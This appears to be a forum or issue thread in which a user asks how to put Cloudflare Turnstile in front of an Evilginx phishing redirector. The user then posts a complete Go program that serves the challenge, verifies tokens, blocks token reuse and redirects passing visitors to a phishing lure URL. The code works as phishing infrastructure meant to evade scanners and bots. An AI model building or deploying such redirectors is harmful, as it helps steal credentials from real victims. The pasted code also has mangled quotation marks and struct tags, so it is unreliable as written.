Can I add cloudflare turnstile as evilginx redirector file?

Hi fluxxset, is it possible to add Cloudflare Turnstile to my redirector HTML for an Evilginx phishing campaign, and what additional steps would be needed? Here’s an example from your repo:

Turnstile Redirector Demo

Loading…

see it wont work anymore u should have s-s conection with cloudflare frist so that no one can access directly from server and then after addijng turnstile make sence

Would this work much better as turnstile implementation for Evilginx redirector?

package main

import (
“bytes”
“encoding/json”
“fmt”
“io”
“log”
“net/http”
“strings”
“sync”
“time”
)

// === CONFIGURATION ===
const (
TurnstileSecret = “YOUR_TURNSTILE_SECRET”
SiteKey = “YOUR_SITE_KEY”
LureURL = “https://your.lure.url
)

var (
usedTokens = make(map[string]time.Time)
tokenMutex = &sync.Mutex{}
)

// Struct for Cloudflare Turnstile validation response
type VerifyResponse struct {
Success bool json:"success"
ChallengeTs string json:"challenge_ts"
Hostname string json:"hostname"
ErrorCodes string json:"error-codes,omitempty"
}

// Cleanup goroutine for used token memory management
func cleanupUsedTokens() {
for {
time.Sleep(5 * time.Minute)
tokenMutex.Lock()
now := time.Now()
for token, t := range usedTokens {
if now.Sub(t) > 10*time.Minute {
delete(usedTokens, token)
}
}
tokenMutex.Unlock()
}
}

// Extract client IP respecting Cloudflare headers
func getClientIP(r *http.Request) string {
cfIP := r.Header.Get(“CF-Connecting-IP”)
if cfIP != “” {
return cfIP
}
fwd := r.Header.Get(“X-Forwarded-For”)
if fwd != “” {
parts := strings.Split(fwd, “,”)
return strings.TrimSpace(parts[0])
}
ip := r.RemoteAddr
if idx := strings.LastIndex(ip, “:”); idx != -1 {
ip = ip[:idx]
}
return ip
}

func serveRedirector(w http.ResponseWriter, r *http.Request) {
if r.Method == “GET” {
fmt.Fprintf(w, `

Verification
Continue `, SiteKey) return }
// POST handling
if err := r.ParseForm(); err != nil {
    http.Error(w, "Form parsing error", http.StatusBadRequest)
    return
}

token := r.FormValue("cf-turnstile-response")
if token == "" {
    http.Error(w, "Missing Turnstile token", http.StatusBadRequest)
    return
}

// Replay protection
tokenMutex.Lock()
if _, exists := usedTokens[token]; exists {
    tokenMutex.Unlock()
    http.Error(w, "Token already used", http.StatusForbidden)
    return
}
usedTokens[token] = time.Now()
tokenMutex.Unlock()

// Prepare Turnstile validation request
verifyURL := "https://challenges.cloudflare.com/turnstile/v0/siteverify"
data := fmt.Sprintf("secret=%s&response=%s&remoteip=%s",
    TurnstileSecret,
    token,
    getClientIP(r),
)
req, err := http.NewRequest("POST", verifyURL, bytes.NewBufferString(data))
if err != nil {
    http.Error(w, "Request creation failed", http.StatusInternalServerError)
    return
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Do(req)
if err != nil {
    log.Printf("[Error] Turnstile API: %v", err)
    http.Error(w, "Verification timeout", http.StatusServiceUnavailable)
    return
}
defer resp.Body.Close()

body, _ := io.ReadAll(resp.Body)
var verifyResp VerifyResponse
if err := json.Unmarshal(body, &verifyResp); err != nil {
    http.Error(w, "Invalid verification response", http.StatusInternalServerError)
    return
}

if verifyResp.Success {
    http.Redirect(w, r, LureURL, http.StatusFound)
} else {
    log.Printf("[Turnstile Fail] %v", verifyResp.ErrorCodes)
    http.Error(w, "Verification failed", http.StatusForbidden)
}

}

func main() {
go cleanupUsedTokens() // Start cleanup routine for used tokens

http.HandleFunc("/", serveRedirector)
log.Println("Turnstile redirector listening on :8080")
log.Fatal(http.ListenAndServe(":8080", nil))

}